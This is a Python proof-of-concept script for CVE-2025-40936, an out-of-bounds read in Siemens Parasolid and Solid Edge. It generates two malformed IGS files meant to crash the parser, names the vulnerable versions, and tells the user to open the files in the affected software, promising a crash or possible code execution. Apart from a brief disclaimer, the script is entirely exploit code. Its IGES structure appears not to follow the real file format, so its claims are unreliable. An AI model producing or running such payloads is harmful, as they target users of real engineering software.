#!/usr/bin/env python3
"""
CVE-2025-40936 PoC - Malicious IGS File Generator
Siemens Parasolid/Solid Edge IGS Parsing Out-of-Bounds Read
This PoC generates a malformed IGS file that triggers an out-of-bounds
read vulnerability in affected versions of Siemens Parasolid Translator
Component and Solid Edge.
DISCLAIMER: This code is for educational and security research purposes only.
Unauthorized use against systems you do not own or have permission to test
is illegal. Use responsibly.
"""
import struct
import os
def generate_malformed_igs():
"""
Generate a malformed IGS file to trigger out-of-bounds read.
The vulnerability exists in IGS file parsing where boundary checks
are insufficient when processing entity data.
"""
# IGS Header Section
header = """SGRDMFRSASCIIFILEFORIGESFORMAT
1.,1.,2H,1H,,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H
"""
# Directory Entry Section - Malformed entity data
# Craft entries with oversized parameter data to trigger OOB read
directory_entries = """
128 1 1 0 0 0 0 000000000D 1
128 0 1 0 0 0 0 000000000D 1
"""
# Parameter Section - Malformed data
# The vulnerability is triggered when parsing these parameters
# Using extreme values and malformed coordinate data
params = """
128,1,9999999999.0,9999999999.0,9999999999.0,0.0,0.0,0.0,9999999999.0,9999999999.0,9999999999.0
128,2,9999999999.0,9999999999.0,9999999999.0,0.0,0.0,0.0,9999999999.0,9999999999.0,9999999999.0
"""
# Malformed coordinate data designed to trigger boundary issues
# in the IGS parser
malformed_data = """
9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999
9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999,9999999999.0E+9999
"""
# IGS Terminator Section
terminator = """S 1T 1
"""
# Combine all sections
igs_content = header + directory_entries + params + malformed_data + terminator
return igs_content
def generate_igs_with_buffer_overflow():
"""
Alternative PoC: Generate IGS with buffer overflow conditions
targeting the entity parsing logic.
"""
# Create a minimal IGS file with malformed entity structure
igs_content = """MALFORGEDIGESFILEFORCVE202540936
1.,1.,2H,1H,,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H,1H
"""
# Add many malformed entity directory entries
for i in range(1000):
igs_content += f"{128+i:7d} 1 1 0 0 0 0 000000000D 1\n"
igs_content += f"{128+i:7d} 0 1 0 0 0 0 000000000D 1\n"
# Malformed parameters with oversized values
for i in range(1000):
igs_content += f"128,{i}," + ",".join(["9999999999.0"] * 50) + "\n"
igs_content += "S 1T 1\n"
return igs_content
def main():
"""Generate and save PoC IGS files"""
print("[*] Generating CVE-2025-40936 PoC IGS files...")
print("[*] Target: Siemens Parasolid Translator Component < V29.0.258")
print("[*] Target: Siemens Solid Edge < V226.00 Update 03")
print()
# Generate basic PoC
poc_igs = generate_malformed_igs()
with open("CVE-2025-40936_poc.igs", "w") as f:
f.write(poc_igs)
print("[+] Generated: CVE-2025-40936_poc.igs")
# Generate aggressive PoC
poc_igs_aggressive = generate_igs_with_buffer_overflow()
with open("CVE-2025-40936_poc_aggressive.igs", "w") as f:
f.write(poc_igs_aggressive)
print("[+] Generated: CVE-2025-40936_poc_aggressive.igs")
print()
print("[*] Usage: Open the generated .igs file with affected Siemens software")
print("[*] Expected result: Application crash or potential code execution")
if __name__ == "__main__":
main()